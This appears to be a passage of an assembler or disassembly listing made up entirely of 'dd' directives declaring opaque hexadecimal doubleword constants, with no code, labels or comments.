		dd 370AF393h, 915F60C5h, 3E7C4A5h, 0AB559846h, 93F0B89Fh
		dd 42025B73h, 0CADEB662h, 0BF91F7A2h, 2A90E58Ah, 71012A6Eh
		dd 0D2EC7567h, 0C3872E45h, 54E30E90h, 0C4740BBBh, 83DC2A37h
		dd 0B4E2CA3Dh, 8095A893h, 0A7D7664Ch, 4037A53h,	6DC96EBBh
		dd 4A80E8DBh, 6A5E5FCBh, 33195010h, 59251B0Eh, 0FCBCC4E7h
		dd 1CAC53B9h, 121F88Ch,	12B1848Ah, 6C7DCC02h, 4F201652h
		dd 0C782BC9h, 0DB8E16D3h, 4FEE8149h, 91201CC2h,	0DF1F5CA9h
		dd 70602D8Bh, 7B9D98Ah,	3044D481h, 622EC328h, 33202636h
		dd 99158DBDh, 0B0FE0E42h, 7910D714h, 26313B22h,	0E68B8EBDh
		dd 0C3465D70h, 4471E437h, 0C4B8925Fh, 39FF6C8h,	550B9D89h
		dd 12281E9Bh, 0F94B3917h, 848D1F8Ch, 4C3FE3BFh,	0FB51723Bh
		dd 8815162Bh, 9F005B93h, 0FEB13828h, 0FC728ADFh, 92B2073Fh
		dd 42685834h, 21C04C02h, 5B812ED5h, 22E162Eh, 0C82BAC14h
		dd 9D18D352h, 0D16F06DDh, 25852F09h, 8F51D4D2h,	3197034Ah
		dd 2B85272Fh, 688656E2h, 2C6925A2h, 228D0833h, 10440D99h
		dd 25602D5Ch, 66070F1h,	5AE98E1Bh, 84F753h, 0D6450235h
		dd 26300D4Bh, 9782BFBh,	517382DEh, 4AB2902Fh, 0AF2A0207h
		dd 88BE09ABh, 12076555h, 0B91831F5h, 2CABF071h,	0F85D3197h
		dd 7801C844h, 32598501h, 8407B22Ah, 0DB125248h,	6BFA83FAh
		dd 0EB80F08Dh, 2CA0B269h, 0A5040DB5h, 79E22454h, 78B90215h
		dd 5DB7AAA2h, 0BB408A74h, 1321DFh, 59B84EFCh, 6AAEE5BCh
		dd 0BEAFF70Ch, 400144D6h, 0B975F2Bh, 8DF14Dh, 0EFA18127h
		dd 61FC9791h, 0A2CF3000h, 4113F429h, 5FFE13ECh,	8046DBFCh
		dd 8998DE54h, 203D2585h, 14C9C648h, 0DC94B68Eh,	8C690200h
		dd 539C934Bh, 0A172F626h, 902CBDDFh, 3DDDBA27h,	7B0789C6h
		dd 0CB0033F1h, 6F0CFEEh, 8FFA4B58h, 91EC6248h, 0D98B020Eh
		dd 880D9340h, 8045BD9Dh, 0E6FCEB6Dh, 2E098EB5h,	5528BA4Eh
		dd 9B56C509h, 20F651C9h, 162125F9h, 5FF94290h, 7AD55195h
		dd 3135D5h, 0D8158E6Ah,	0D9209501h, 3B0B4803h, 282A5D55h
		dd 1B9599F1h, 7A05564h,	84589E3Ah, 0AD85B3F4h, 77000FE2h
		dd 2F8D01FDh, 0AA071367h, 8766D12h, 0EC96A430h,	0BFDE12E5h
		dd 4AF8B326h, 470B206Eh, 8C4DE1FFh, 67FFFDC0h, 658C2F23h
		dd 64B64790h, 5E2F8E02h, 0C0DB5F33h, 4B28E1B0h,	212D8A9Ah
		dd 20DBA7D8h, 66FCE751h, 2CF425BBh, 0C51A2BC5h,	0DEBDDC5Ch
		dd 0D0BFF800h, 0A76ABEDBh, 252CB0CCh, 74561449h, 6D925971h
		dd 0E09DB660h, 25AF4F71h, 25C25386h, 0B540F974h, 340D87h
		dd 0F4E831ADh, 3B2CDE40h, 0C2869925h, 0DC1A7E1Dh, 43690316h
		dd 503A4D04h, 3C101AB9h, 62855A01h, 0B04E9CF3h,	16971B9Bh
		dd 22CD9D15h, 0D338DA40h, 1FD8588Bh, 70418138h,	0BA1EBB8Eh
		dd 0F4B4354h, 8037F131h, 0AB63ED96h, 4FB8623Dh,	86E2DD0Bh
		dd 2EA9DEE8h, 0F2EBC0ACh, 6A0045CEh, 0C0B323DCh, 2AFCBA9h
		dd 0DED20702h, 8973905Fh, 2111D0h, 76A1E0Dh, 54577B0Ah
		dd 544BBB8h, 769A09BFh,	1FF0087Eh, 882D3D5Ch, 401E9E0Bh
		dd 183CD745h, 0BF009649h, 68611CAEh, 2DF9965h, 7A76BB14h
		dd 0D4545B72h, 0C05F9A1Ch, 8200722Ah, 0A64F239h, 0D72CBAh
		dd 7E7D34DDh, 35D6573Dh, 898D1995h, 0A21AA62Ah,	0E0493118h
		dd 425B73CCh, 9C4FC3E4h, 0DEBD244Fh, 0C87C8E0Fh, 7EEBE16Dh
		dd 5CCEC097h, 60826A5Ah, 0D99E3C1Dh, 71132400h,	6DDC97Eh
		dd 46E825E3h, 897C6BCCh, 0D79DAA8Bh, 6D958AD0h,	631B6461h
		dd 742FE8F2h, 15CD74BEh, 3B850F27h, 48128711h, 816AC283h
		dd 6B1C600Eh, 15DE42Ah,	0F248A4AFh, 67038E0Fh, 8BC44A22h
		dd 3FE976E9h, 40523CFCh, 0ADC3A13h, 2892C26h, 14DD9D8Bh
		dd 0F98B6F56h, 5AD0740Ah, 18D4FF54h, 603DFB22h,	46882A2Dh
		dd 7817BB04h, 8D008641h, 803399EEh, 263EABCEh, 947F88Ah
		dd 0B24496FEh, 9ADF8E00h, 0E08815Ch, 13694C95h,	17F40DC0h
		dd 0AE0B749Fh, 4285454Bh, 0BF23C0D4h, 5B40F06Dh, 0ED6F42h
		dd 0E10FEB16h, 0EE8F856h, 52263C05h, 0DDBD2322h, 5F5B82A2h
		dd 0FC60D55Ch, 9539168h, 0DF8B1BEBh, 0E76EE827h, 0DEBD9AF4h
		dd 9F4CE37Fh, 3C912CBh,	15BD8h,	0A09C1293h, 8E9DF08Ch
		dd 50E54601h, 8B766E5Eh, 8D7652Eh, 81001F94h, 616864D3h
		dd 3A58974Ah, 2C8F2913h, 512F85F8h, 680300E4h, 88F8769Dh
		dd 0C011F8FEh, 548B0DE7h, 21FEB287h, 0F9CD3FDDh, 9040DC6Bh
		dd 0DC0E9Eh, 0BCA5F260h, 8BE65AB1h, 8AD26509h, 5675B0DDh
		dd 0FD8D2729h, 615F7702h, 12DC42D4h, 0EDF517h, 4F7FACEAh
		dd 91A0F8CDh, 33F05C54h, 25D51697h, 0FD65D98Bh,	0BFCFF22Dh
		dd 62C08EEDh, 1C8B11ECh, 2740E9FAh, 8D4095CFh, 0B6E5745h
		dd 1B31BD0Bh, 4977305Eh, 0E8855AE0h, 0EFB79Dh, 168A4BC5h
		dd 551DD774h, 9644BB60h, 1DBC4846h, 1C4FB9A7h, 2286CC60h
		dd 28EC092Bh, 0CFCB8FFh, 10590D6Ah, 0E8B76DAFh,	4434210Eh
		dd 37C425DAh, 0C87E8FAEh, 0F87AC215h, 0ABFB9077h, 0EE233E29h
		dd 0A5C65180h, 7FD5ED48h, 0A1003E79h, 0B81B1E5h, 12BB6609h
		dd 0F75F8B41h, 596A5F54h, 8A76DF00h, 0C2DB3453h, 7366302Fh
		dd 14258950h, 0ED5A985Ch, 0B9244E40h, 0B8B282h,	2792972Ah
		dd 68E2F7h, 9F644DFCh, 0CA51F3BBh, 85C14B1Eh, 5F6078C9h
		dd 1457B49Ah, 63BC8D48h, 5417BDD5h, 87E726E9h, 4020AE5Bh
		dd 0B010B396h, 305A0F61h, 89212A94h, 2E2D45BDh,	9D090F70h
		dd 951F7C61h, 0FC903AEEh, 530CD89Eh, 40C91052h,	5BE35F13h
		dd 0C01888ACh, 608CB0A6h, 6BCD754Bh, 1F8BB96Eh,	0B83A47Ah
		dd 1299BB7Dh, 0E815B592h, 8BAD4A5Ah, 0AACF8196h, 0D8153C18h
		dd 4B24EF16h, 0DB3AC47Fh, 0CC72C09Eh, 2595294Dh, 885C15E9h
		dd 0C5330269h, 60395E7Ch, 46D78060h, 78D8B725h,	0E7B84F76h
		dd 0BD02B440h, 0E2ADCDA4h, 48D77CC6h, 1EFC25E6h, 3515EE48h
		dd 0D7E34BA0h, 0A8AEB24Ah, 648C1274h, 58DE053Ch, 1BEF372h
		dd 8E78A0BFh, 0DA669614h, 2CBB0776h, 0D90397ECh, 8C2D7CDh
		dd 567FE2F4h, 3E62CB39h, 0B1C94E75h, 0A66A80E7h, 479A207Ch
		dd 98AEC302h, 5E745B2Dh, 0F55511Bh, 3AC215C8h, 0C9D97Fh
		dd 861CF9EAh, 232F5BF2h, 0C08192E0h, 0DEFF52h, 6D770F51h
		dd 7D7AE2C9h, 1DA7A7A0h
		dd 2B95BFA1h, 0AFB05527h, 97560A2Fh, 0C3818C80h, 0CB25E8A1h
		dd 89AB7373h, 0E55C3011h, 0D41D5E5Ah, 2EAD21E7h, 24267B54h
		dd 15A67515h, 0E1C46DCh, 800946DAh, 0B320AB48h,	28099F4Fh
		dd 0F7AD1473h, 2AA6D69Fh, 0B33BDE80h, 928D9D01h, 2595EC07h
		dd 0B65C2EADh, 0A72B5371h, 55B0B244h, 1D64ACCDh, 6AC7FD60h
		dd 7C8C602h, 0D06DA8B8h, 30CA3D4Ch, 3EC128EEh, 2F535F10h
		dd 0BEFC522Dh, 286B2D6Ch, 85551875h, 0E91D40F1h, 0E1E0B54Ah
		dd 2D2BE260h, 0D5A229BDh, 158DD8Dh, 79F56139h, 0B064C156h
		dd 1113C9Eh, 6EF9FC94h,	2B93C59Fh, 0B11AF39Dh, 0CA58B2CBh
		dd 8B229B12h, 50904530h, 87519560h, 0C7800203h,	0C57FA0F7h
		dd 0CB0C0033h, 0E6CABA60h, 461E7B3Bh, 8A47EC88h, 901461C8h
		dd 10B833BDh, 7301ECF6h, 85E5BD62h, 0FFCE0918h,	0E66A55A5h
		dd 6E32F0EAh, 0E29BE822h, 4E8A1C33h, 0BCDED29Eh, 3F8D8019h
		dd 6F68981h, 0D9BF0FD2h, 73956C5Fh, 0C8577280h,	5A316091h
		dd 0F50EEA8Dh, 25E1C90Bh, 0DF0261FCh, 0D651E6F4h, 1546748Eh
		dd 0F8D97809h, 2563B408h, 125F758h, 1797FCBDh, 0C26F05h
		dd 319FB605h, 0B91A8DB5h, 0B6A2750h, 4C13A58h, 6121BF66h
		dd 6C64CB7Bh, 62B8200Ch, 4891086h, 81DCB75Fh, 6E6BADF6h
		dd 0CC270F9h, 0E2532AB4h, 0A7F5F182h, 71C0874Dh, 26581646h
		dd 93FBE9AAh, 0F2D0A326h, 932A3019h, 8F044D7Eh,	5FF55354h
		dd 34D35CE8h, 0EAC0BFA6h, 1D2D9960h, 0BE59592h,	20744F26h
		dd 31646D6h, 8BFFEEBBh,	2DD23FFAh, 0C88A8FCEh, 857C01Bh
		dd 960B7E34h, 71A3E816h, 0D4F42FA4h, 88612B00h,	2C80E621h
		dd 8718D3Bh, 5F1303C1h,	778D94A2h, 0B9FA393Fh, 40612D2Bh
		dd 6A578B82h, 0F50021Dh, 294ADh, 5737D8A0h, 54394C70h
		dd 3C51AD04h, 549509F2h, 13B8D4FDh, 0F01F0A13h,	51F08BFh
		dd 30F4BB01h, 986E229Fh, 0E7951F20h, 0E6FE08E5h, 0F1081D24h
		dd 0B5290F2Ah, 1474030Bh, 40ADDEE9h, 21BBA73h, 0B5073B04h
		dd 5CBA83F5h, 75BF4069h, 5B57FEE7h, 801D56F6h, 7BAD6BD3h
		dd 181471D9h, 28CB3DDh,	14A99D33h, 95387809h, 3509963Fh
		dd 97D4F0EDh, 5BDD33B2h, 4759703Eh, 0B16A1802h,	4020D698h
		dd 8323D189h, 0B05C822h, 8370D0BBh, 2D19CAA2h, 0A53D5Fh
		dd 1D5429C2h, 501BC79h,	0A8E9C781h, 8D214EC4h, 8A6E1FE5h
		dd 23C2209h, 0B70F5160h, 26C05AC0h, 325EE1B5h, 15591644h
		dd 0B0B90E13h, 31D0FC09h, 0BF0A8222h, 0BF00A24Ch, 0F781D03Ch
		dd 17CC4AE8h, 0A171E432h, 6E33E93Ah, 6127E2FDh,	0BAE5454Bh
		dd 30FE0934h, 0CBC0057Dh, 1E3E9400h, 4E96815h, 55D2009Ch
		dd 50A68EBDh, 70F6C381h, 5B3CD71Ch, 64765C67h, 64154007h
		dd 2E7B3FE7h, 25908F4Ah, 386053E2h, 0B800A99h, 2771259Dh
		dd 883F6E79h, 4815E98Dh, 2F8508E4h, 10D1273Bh, 7D9D66Bh
		dd 7F0B6ECh, 9D520B50h,	0C59D2B08h, 84E90B1Ah, 6B9C18E4h
		dd 0FA21B562h, 0D9137D1h, 4C446361h, 9EA55F8Ah,	7B793F2h
		dd 0DCC53422h, 27E81312h, 38F55039h, 0CF004174h, 0DD09F82Dh
		dd 0A32FB9C6h, 0DA08254Ah, 0DCA0AB7Bh, 0E938B209h, 4F18D531h
		dd 1A9D1E92h, 444D5E5Ah, 4F5501Dh, 1595D38Fh, 898F48E9h
		dd 4F626254h, 4674F9DFh, 5762C0C2h, 2D0095BDh, 0C2AF0B4Fh
		dd 448468BCh, 24AD3DA2h, 2F55B7DDh, 58553277h, 1CA6FA93h
		dd 2C10C6B9h, 0BB07F4D2h, 5FD72E09h, 16B6C31Eh,	5131824Fh
		dd 6FE225F2h, 1A70BC73h, 1119121Eh, 5CD0AEFh, 0ED9FC1E2h
		dd 0C0B15BFCh, 0F36B4087h, 8BAB0001h, 0E3BF4BB3h, 0C382CF9h
		dd 9ADE5BB8h, 0D2343CC0h, 6D1201DDh, 6C12C0A3h,	0BA2D12ADh
		dd 1CF9F071h, 0CA01D418h, 0CD974BF0h, 51E6368Eh, 0FBAB01C3h
		dd 0CA255604h, 0C70001D9h, 3B922FCh, 0C2070072h, 27A0FDA4h
		dd 4501B055h, 599F121Ch, 0DB2B5B79h, 8F6A4AE8h,	0EB138C20h
		dd 40C84088h, 24101F1Ch, 827900D8h, 7DBD23AFh, 60A6185Bh
		dd 0A8C6E24Ah, 95F100B6h, 0FBE19AC2h, 0DDB00F4Ah, 0E603EB2Eh
		dd 6FCCE2A5h, 0DD2C604Ch, 0E71353CBh, 0E3A2A964h, 0A823E9F5h
		dd 73530457h, 8135AB9Bh, 66FBB782h, 0B66002B6h,	7461FC04h
		dd 143A51E8h, 55FF95C5h, 18AC6E15h, 1360748Ch, 0A3DA15E0h
		dd 71A84CD1h, 90FF1A40h, 899497F7h, 5C03F027h, 10FE71BFh
		dd 13E3EF81h, 0A223FBEEh, 96B58E45h, 0B3803DB9h, 0D0494A65h
		dd 67AE501h, 60AB3802h,	4E703C24h, 803A811Bh, 3DED7AE1h
		dd 0B003BEB8h, 0FE705974h, 3D17F0BBh, 0B864C173h, 3A6140F1h
		dd 51E73149h, 8E2D3C95h, 2EF55449h, 0F7504732h,	51DDD99Ah
		dd 0A35F133Bh, 0DDC84F3Fh, 292C0294h, 9070CF6Eh, 9F0168C0h
		dd 0C3FC5048h, 910BF796h, 59F28EE6h, 80A51D29h,	0D5E9EB28h
		dd 900D1ED3h, 25B16D9h,	27AFDEDAh, 7BA5F976h, 286178ECh
		dd 63800F28h, 46416804h, 0A8C06A7Ch, 973AF5C1h,	45BE0B01h
		dd 6ADEF263h, 65FA12DCh, 0D689ADF5h, 0CDA820B9h, 90214A04h
		dd 1DE83BE2h, 0CFE9FCC2h, 2557E477h, 367B0E2Dh,	0C02FEDA5h
		dd 0CEE51CC6h, 0E9D8764Bh, 8510868Ah, 0CEA7101Dh, 4B85BFD7h
		dd 0B3060AEh, 0A9BFA5BDh, 925DF458h, 0D37EF221h, 8BA81DE9h
		dd 13E922h, 0F338EA0h, 4BAAE299h, 0A9FAE107h, 5F40C78Dh
		dd 5D344498h, 3381FDDAh, 2F0C199Dh, 40B99A65h, 0BC2750A8h
		dd 3C9F70B2h, 0B57296FFh, 0E8057937h, 52259215h, 7F81E182h
		dd 0F182F444h, 4EF4C2FCh, 0D2E3E954h, 42CE4000h, 9681F65h
		dd 0A46794C1h, 0C0555142h, 276F3EC3h, 0B5B75BB7h, 758D9700h
		dd 9D17367Ah, 3549A71h,	0AB336A42h, 0E88C6090h,	990E8046h
		dd 1A69413h, 0F4ED61F6h, 0D881B15Eh, 0D29D5250h, 0FDE695A1h
		dd 1E585A30h, 9F90DE8Bh, 7FC0136Dh, 76ED26EBh, 8ABA12F3h
		dd 0F5FB61FAh, 0A9B3A61h, 0FBC08F9Ch, 75E56D40h, 0D8168B62h
		dd 4FBCC1B7h, 0A0F3B6F5h, 1268A92Fh, 4B55F0Dh, 0B817DD31h
		dd 24FE38Fh, 3FBB339h, 0A37C759Dh, 97B3F0A5h, 6D78D0D3h
		dd 0EC9900B1h, 0A0744976h, 1698D634h, 5F11C120h, 818F660h
		dd 3E12398Dh, 99FF872Dh, 3A2FF513h, 0B0C1E4A1h,	57FE459Dh
		dd 0F274989Ch, 45E06FB5h, 2E10BED0h, 0E5C6B2E2h, 58A70048h
		dd 5ACE4165h, 7624D04h,	6CAC2372h, 0C03EDE4Ah, 0C956C01Ah
		dd 0D190BF65h, 0E00387A2h, 0F2CB269h, 798CC218h, 0E6FA0030h
		dd 7096802Bh, 0F1D0F50Eh, 6634A06Fh, 258D638Fh,	6DE55BE9h
		dd 0A33525h, 68857546h,	0A8503839h, 104BD5C4h, 127F65DDh
		dd 5929E30Ah, 679B13D1h, 0EFB2EC13h, 9DB97403h,	0B6E4A15Dh
		dd 59C0E0BEh, 0F8300474h, 0EA855732h, 17C8B2DAh, 0C2F023C7h
		dd 258D016Bh, 3EEE1881h, 1643795h, 0FD9D23EBh, 48974A06h
		dd 19E5341Dh, 0E65A40A8h, 3732B475h, 6595D767h,	292D2640h
		dd 0BB6609ADh, 0D266BF33h, 0C2F22C90h, 2561F83Eh, 6D62E2FAh
		dd 23F2E000h, 0C1127DE9h, 41AF7047h, 8ADAB79Fh,	60E76AD8h
		dd 0A0122110h, 382848BFh, 9BCF6A38h, 1285C129h,	2026CD8Eh
		dd 2B6DA54Fh, 17C82C9Ah, 0C497EC0h, 801E9999h, 0E0224D9Ah
		dd 0E600F37Ah, 280DD3B2h, 95605796h, 0F47DEAC4h, 58B9C907h
		dd 0A239D737h, 61505FD5h, 27AC0249h, 9B961233h,	12979CE8h
		dd 0E60163B2h, 6C15ACAh, 0B4E97BDFh, 0B3677A81h, 0F4D92E57h
		dd 79B8F654h, 0ABDF81C0h, 1B90C7FCh, 0CC30F409h, 47737975h
		dd 0AE160E4Ch, 9C0B2A6Fh
		dd 0D2E21AEEh, 0D0B74A98h, 4985893Ch, 96611713h, 5D04F6ECh
		dd 2007E850h, 12DB8F6Eh, 2981DFh, 965FD9BBh, 49258D89h
		dd 9430EE0Fh, 0B2640CFh, 0C4250754h, 0C16FE677h, 3F93DBF6h
		dd 31A62B40h, 99301BB2h, 65F600C2h, 86CCDD5Fh, 3925BD29h
		dd 25515A1Ch, 53E6B397h, 0F22F6395h, 512B5E84h,	5EF9123Fh
		dd 1846D610h, 0DA024801h, 7FC685B8h, 0FD821662h, 0CA94FCD1h
		dd 982202BCh, 5EFE8B5Fh, 8F0F5817h, 0E4274791h,	6C96FAh
		dd 6AAB3A59h, 9B1EB402h, 1AC0CBFAh, 9D29305Eh, 0E9C7C449h
		dd 661DAF8Dh, 1000C51h,	557A8A57h, 0CE038E95h, 35C1DB09h
		dd 0D9AB9C8Bh, 2F95DC43h, 0C7642082h, 7139BBBh,	0C941669Eh
		dd 2DEAAEh, 32943FFAh, 1500FF7Bh, 717C0D5Fh, 7FCF81B1h
		dd 0B02C7DA6h, 609025B4h, 0B9819B59h, 2CDB8792h, 90DF8BF0h
		dd 982BDE2h, 85DD90DEh,	0CB22227Ch, 889B76F9h, 0B6302415h
		dd 9D51F5C2h, 0B078317Bh, 2680261Bh, 75622568h,	0C8359D8Eh
		dd 777A902Fh, 2BC934A1h, 623D21C9h, 5CB52EB9h, 0F4DDC62Bh
		dd 6D158D35h, 8C67C230h, 0EDD90B09h, 8302659Ch,	59042579h
		dd 310BFAA0h, 0F8FF59Dh, 9ECA3B8Ah, 614F6301h, 2E3999C4h
		dd 42EC1534h, 725C0427h, 0D4E7D65Ah, 8F26ED00h,	4E027423h
		dd 8B2731E6h, 20E1962h,	0B3C5456h, 17025BDFh, 0DD56F5D1h
		dd 0C3146851h, 0B1F92B98h, 6FB36A23h, 0A1ADA65Bh, 257A82DBh
		dd 94D8AB66h, 0C51C4AB3h, 0B80CE9CEh, 5F900074h, 2D2635Eh
		dd 534A080Ch, 1B9471F2h, 0BCE1E912h, 42CCE24Eh,	766D775Ah
		dd 0D76449E2h, 2D397B60h, 0DC8E0F80h, 0E664256Bh, 572E162Fh
		dd 0B878D822h, 1663775h, 0B531F8E8h, 1D5CFA15h,	25B27CE9h
		dd 843834DEh, 4CB05A5Bh, 0A95C95EBh, 4CE6B87Ah,	6125650Dh
		dd 0D49E2DCCh, 59ADEC24h, 5F0056A2h, 0D06BBFF9h, 2CCEE1D7h
		dd 1E187A3Ah, 0BD1412CBh, 2E6BD248h, 0D97DB104h, 0D1DCEFF9h
		dd 571A64E1h, 2824FEFFh, 68D360AFh, 6B068A3Eh, 0B5876DFDh
		dd 0E6372E99h, 16118933h, 220DE810h, 45FE9495h,	29388146h
		dd 0B030CDA1h, 616560C2h, 70E6800Ch, 418F30B1h,	0AE3C60E4h
		dd 7DF5A263h, 0C522048Ah, 0EB50BF78h, 2DBD9590h, 116B8C05h
		dd 1F3A246Bh, 533323AFh, 2EA51410h, 0AA295F14h,	0B05F162Fh
		dd 0F104BB2Bh, 0B7B34460h, 50123BF4h, 2B0C13BDh, 51B3719Dh
		dd 0FE96011h, 0CB96FD00h, 0B01EF392h, 63B31400h, 3C4A391h
		dd 6CB900Fh, 2B5F61D9h,	8EA066C8h, 1ACED18Bh, 64B4EBF9h
		dd 2271223Ch, 4C1250ECh, 1EA24755h, 18F77D00h, 748CE43Ah
		dd 70318501h, 2ACB0E86h, 1215B6C8h, 0AB9BD1D0h,	0E8BB8960h
		dd 0EA89959Ch, 81D313DDh, 0B3605760h, 80588839h, 6120F412h
		dd 8A2ADBB4h, 45B31157h, 75B65E8h, 914F930Ch, 59D53077h
		dd 66006FB7h, 56B2BB80h, 0F436D381h, 5F350C91h,	523F43E9h
		dd 0B4B28EC7h, 0B1F759B9h, 2B7A6816h, 3D13FB24h, 0CA2B91A1h
		dd 26093B09h, 65A53C7Dh, 249D2107h, 5E50918h, 86504E5Eh
		dd 15C48773h, 209BD061h, 0D7B9952Ah, 34496697h,	0A40871CDh
		dd 6B66A74Dh, 9201DB0h,	6BB9122Ah, 2F7AEB10h, 318BB200h
		dd 3FA4349Eh, 5785BA99h, 81FE5C37h, 0D2085E97h,	236592F6h
		dd 5C226F82h, 0BAEDCB06h, 95E86840h, 47DBEA3h, 0FBB58960h
		dd 81516E40h, 39A477EAh, 61136E58h, 0E2CAA6FCh,	8CF3F5E3h
		dd 530EC509h, 181A719Eh, 0F52A1D35h, 0DCCC8782h, 5F2B5B0Fh
		dd 66A8B05Dh, 781D020Dh, 5B266AA7h, 0BA158577h,	20BD088Ch
		dd 36950731h, 0D476BED9h, 0B02FC002h, 0D460179Fh, 7600DC41h
		dd 6F68EB99h, 3D8C36E1h, 0D92B32Eh, 0DEEEDE88h,	769476C9h
		dd 0FA211293h, 860F0171h, 0B451283Eh, 0E55DB900h, 0DA9C4C65h
		dd 0BC7D0912h, 0FE599E29h, 0EB78E4A3h, 0E64C04E7h, 0AC74AA05h
		dd 93AADFEh, 23824C1Fh,	9C572835h, 3F7A45C0h, 956DA78Ch
		dd 0EB801E45h, 3F2EE1B7h, 0B27E0038h, 0C78B66DBh, 0BF97B861h
		dd 8BCC0030h, 117FEE3Bh, 79D11525h, 0C65B49C5h,	80FBDD53h
		dd 0C9889945h, 3544F713h, 0D5E114D2h, 18595309h, 0A04A442h
		dd 5E7C3FF4h, 330FB0Dh,	2330C5h, 0CCAEAFA7h, 6472CE29h
		dd 0E1C98A08h, 12D31308h, 8438B204h, 0DEBE0492h, 88EE8248h
		dd 50505C84h, 6F9F0431h, 0B86C406Ch, 60BD6B57h,	5EB7CE05h
		dd 0D5CAC164h, 5AB97E23h, 0BC047FF8h, 0A67417D3h, 45A87B8h
		dd 0B9F7B4C1h, 7B9D7E60h, 8B5DD89Dh, 18B1EA02h,	56F113A4h
		dd 2ECDE943h, 0BF7BF240h, 0F6994AFDh, 3015B2CBh, 290C8C8Fh
		dd 461E05BDh, 0CFA905BFh, 0FC90493Bh, 0B164800Eh, 0F5BD72h
		dd 33137EFBh, 76680CE2h, 599DDD01h, 6ACF886Fh, 96780C71h
		dd 90505BC2h, 1C80CDB7h, 59CD984Eh, 287198FFh, 39742F61h
		dd 4A9509h, 17116823h, 0BB0C0F50h, 52EAEBADh, 0EE240F34h
		dd 0A8964F14h, 3E578593h, 0EB1D4DC0h, 4483120Ch, 8599BDB1h
		dd 4ABAE9B5h, 3B1C8F07h, 78E68A27h, 0C4807425h,	0B9B79592h
		dd 11A682BFh, 6622FD5Eh, 0D3E700D0h, 0CAF7510h,	0C9003A87h
		dd 20F2BDB1h, 9701EDE9h, 3F429E6Fh, 189ACA1Bh, 0E0D28989h
		dd 0EB485E24h, 0EDB37D52h, 23DEA45Eh, 61CEE983h, 2BD7302Eh
		dd 0A4B75BDh, 9BBD19Ch,	2955CB9Dh, 46D6755Eh, 488F001Dh
		dd 5B4F7DF7h, 9AC000AEh, 2579BFE7h, 894F54F5h, 2DC0F69Bh
		dd 1D9D0B2Ah, 102D2FFBh, 81EBDA2Eh, 0EEF1A1ABh,	8162352Fh
		dd 2E0EB94Bh, 849AFB64h, 0E9900EC1h, 0C96128DCh, 31BF0603h
		dd 0CED0B75Ch, 78E253B5h, 800AC5BAh, 0AE9CC0A0h, 0E99A704h
		dd 0B42488AEh, 5EAE9108h, 42508FCh, 7F12C2A5h, 68B7E0CEh
		dd 77E0274Eh, 0E6B901C9h, 5C1253E8h, 9AD92019h,	0B4ED774Ah
		dd 0EEFCC04Ah, 404DA769h, 0D720BD17h, 6BD67FCBh, 88C256C2h
		dd 0DAB32EDAh, 0E49ADC7Ah, 5025BB0Ah, 93658CBEh, 0D2368F00h
		dd 134FA557h, 66601E50h, 0D42753BEh, 7A9B1D7Dh,	3D2EB75Bh
		dd 4525FD52h, 0A55D792Ah, 8000135h, 0CBE583FBh,	812E013Bh
		dd 3FF721C7h, 5ACE2B10h, 0AB51BD16h, 0E159A03Ch, 0A049F72Bh
		dd 583C90Ch, 0EA2B20B3h, 0E2D9CCD1h, 9E0A100Fh,	709D80DFh
		dd 0ED6672h, 3A869433h,	0BAB94B42h, 52EEF95Fh, 803FBC2Ah
		dd 3058EC7Bh, 0CB37035Ch, 46A186EDh, 0C013548Fh, 5B8DF5C9h
		dd 71CC1D97h, 4A6E7AF8h, 4C581800h, 95D35E1h, 0F0A14812h
		dd 6C007CE2h, 0ABB33CA0h, 2015C2Dh, 9BBF5626h, 5BD98681h
		dd 6F00282Fh, 0E02E0441h, 79130C8h, 7C275CE6h, 5C92789h
		dd 5B72B2FEh, 0CD2D709Bh, 92459C3Bh, 9204A039h,	0F072AF9h
		dd 0B877098Ch, 597F38h,	0EC11C499h, 0FE7193AEh,	0D79A9F4Bh
		dd 0FFC019C8h, 25C2B3C5h, 25198h, 0EC5597CCh, 82534F51h
		dd 5B022447h, 32C1F5B9h, 0ADB2B22h, 0FBC01C88h,	15F6D05h
		dd 3DA35855h, 0BF09B72Ah, 0E7A90B8Ch, 58EF296h,	906B39BBh
		dd 6B8BF91Fh, 0B4B64308h, 469402FFh, 0A56D96C6h, 40F9C6E0h
		dd 3AC026Dh, 1291BD0Bh,	0E407CD75h, 1E72601Ch, 6B053C61h
		dd 0AD78F81Ch, 8CF0BC0Bh, 7F1D3A97h, 0FC27AB35h, 8E43C9AAh
		dd 7D0CBD62h, 9330A32h,	2F792E15h, 1411BD41h, 0D0B3D7F2h
		dd 0A9A5C7B7h, 0B2DABBD7h, 0D32BDFB5h, 1659CB53h, 31096618h
		dd 5D605293h, 5F613698h, 0EB198897h, 70905609h,	886D9FFBh
		dd 0F062F8C3h, 1029CA1Fh, 0BF6546Ch, 5E0DDFEFh,	1546D6B8h
		dd 5382D13h, 0EB2EA525h
		dd 0D8D79C9Bh, 421CBF8Fh, 0C241685Eh, 6ACDB7EFh, 0B803B97Ah
		dd 32B60BEEh, 0A1649D55h, 0A1459F00h, 4647A7CBh, 1D65021Ch
		dd 5A168880h, 0A182E477h, 642EFB4Fh, 22FE14E6h,	0AEB6AC5Eh
		dd 20DEB139h, 0E4E18DBBh, 84B9ED03h, 8046431Eh,	0FA0FC708h
		dd 0F3A25DDDh, 52360850h, 9794BBEh, 49A185FDh, 69AAB8D7h
		dd 4B9A872Dh, 215BF774h, 1797C270h, 0CDB78FFAh,	0CFA06B6Ah
		dd 86C28230h, 0A7400C56h, 0E68A5633h, 0CFD900CBh, 6FBC5B35h
		dd 61EA5F51h, 0F7816EA0h, 6DCF7727h, 60196452h,	7FE0C6D2h
		dd 0B31A12BEh, 7A45F14Eh, 3EE9E7ADh, 0CC66CCh, 8E9194F4h
		dd 4AE4F892h, 0BD03D201h, 33562A1Ch, 9B89D340h,	0B5297B5Bh
		dd 0D99D59F2h, 3325545Eh, 0ADBE7BBCh, 0A544674Dh, 57F86E82h
		dd 61BDB0B4h, 0B90412D1h, 619AD28Ah, 4EC53081h,	3D9F21A7h
		dd 7BC627F6h, 3C76D027h, 0E57B8925h, 0C0BF8099h, 0E96486E8h
		dd 0A4F0504Ah, 10E30980h, 0D437C18Bh, 1CBFDD80h, 9567F1C4h
		dd 6D9592EEh, 0E7A240B3h, 560E960h, 77D8E017h, 6138123Ch
		dd 0DE54FC90h, 13229EC0h, 0B5EF7h, 5B6CD62Ch, 0C7178C55h
		dd 0C1312409h, 81DBD133h, 0A9B39A64h, 57F7C834h, 0EE1EBF05h
		dd 84AB7D66h, 0D2A29BC3h, 7F0BF3ECh, 93D36A9Eh,	178B3778h
